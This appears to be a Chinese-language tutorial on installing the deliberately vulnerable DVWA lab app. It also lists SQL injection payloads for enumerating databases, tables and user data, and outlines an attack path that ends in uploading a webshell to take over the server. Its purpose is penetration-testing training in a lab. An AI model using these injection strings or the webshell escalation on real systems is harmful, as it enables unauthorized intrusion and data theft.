DVWA 不跳转_渗透测试入门-DVWA应用渗透软件安装与使用
?簡介:DVWA是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用程序,其主要目標是幫助安全專業人員在法律環境中測試他們的技能和工具,幫助運維人員掌握基本的安全測試知識,幫助Web開發人員更好地了解保護Web應用程序的過程。
01.安裝環境準備
操作系統CentOS 7.8主機IP10.211.55.25
02.安裝部署
1. 下載DVWA安裝包
官網下載鏈接:https://github.com/ethicalhack3r/DVWA/archive/master.zip
[root@localhost ~]# wget https://github.com/ethicalhack3r/DVWA/archive/master.zip[root@localhost ~]# unzip master.zip[root@localhost ~]# mv DVWA-master DVWA[root@localhost ~]# mv DVWA /home/wwwroot/default/2. 安裝mysql,php-fpm和apache,這邊就不細說了
3. 數據庫中設置root密碼,可自定義,創建一個新的數據庫:dvwa 并授權給root權限
[root@localhost ~]# mysql -uroot -pEnter password: Welcome to the MySQL monitor. Commands end with ; or g.Your MySQL connection id is 108Server version: 5.6.36-log Source distributionCopyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.mysql> create database dvwa;mysql> grant all privileges on 'dvwa'.* to 'root'@'%' identified by '123456';mysql> flush privileges;4. 修改dvwa文件配置
進入 /home/wwwroot/default/DVWA/config,使用 cp config.inc.php.dist config.inc.php 將配置文件復制一份,然后輸入 vi config.inc.php 開始編輯配置文件
[root@localhost config]# vi config.inc.php$_DVWA = array();$_DVWA[ 'db_server' ] = '127.0.0.1';$_DVWA[ 'db_database' ] = 'dvwa'; //填寫數據庫名稱$_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = '123456';5. 訪問http://10.211.55.25/DVWA,將會被重定向至 http://10.211.55.25/DVWA/setup.php,頁面登入默認賬號:admin,密碼:password,進入單擊頁面底部的 Create / Reset Database 按鈕,即可跳轉至 DVWA 的登陸頁面開始使用。
6. sql注入,點擊導航欄 SQL Injection ,輸入相關語句
SQL Injection
至此,DVWA的基礎安裝已經完成。
03.常用注入語句
1' order by 2 -- /*用來猜解查詢信息的列數1' and 1=2 union select user(),database(),-- 1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函數獲得數據庫信息1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*獲得操作系統信息1' and ord(mid(user(),1,1))=114 -- /*測試連接數據庫用戶權限1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有數據庫名稱1' and exists(select * from users) -- /*猜解表名1' and exists(select first_name from users) -- /猜解字段名1' and 1=2 union select first_name,last_name from users -- /*猜解字段內容04.思路建議
1、尋找注入點,可以通過web掃描工具實現。
2、通過注入點,嘗試獲得關于連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。
3、猜測關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)。
4、可以通過獲得的用戶信息,尋找后臺登錄。
5、利用后臺或了解的進一步信息,上傳webshell或向數據庫寫入一句話木馬,以進一步提權,直到拿到服務器權限。
關于我們
江蘇立維互聯科技有限公司(簡稱江蘇立維),成立于2015年9月,是一家專注于客戶業務安全和穩定的運維服務公司,提供包含咨詢、資產管理、軟件部署實施、安全防護、監控告警、故障應急響應、活動保障、壓力測試、數據庫性能優化、融災、持續集成、運維系統開發等服務。致力于通過專業的服務,幫助企業提升運維能力、降低信息化成本、保障企業的業務穩定和安全,減少企業后顧之憂。
關鍵詞:
滲透測試 云計算 安全 運維
總結
以上是生活随笔為你收集整理的DVWA 不跳转_渗透测试入门-DVWA应用渗透软件安装与使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: crash工具解析_Linux 后台开发
- 下一篇: python找水仙花数_Python一句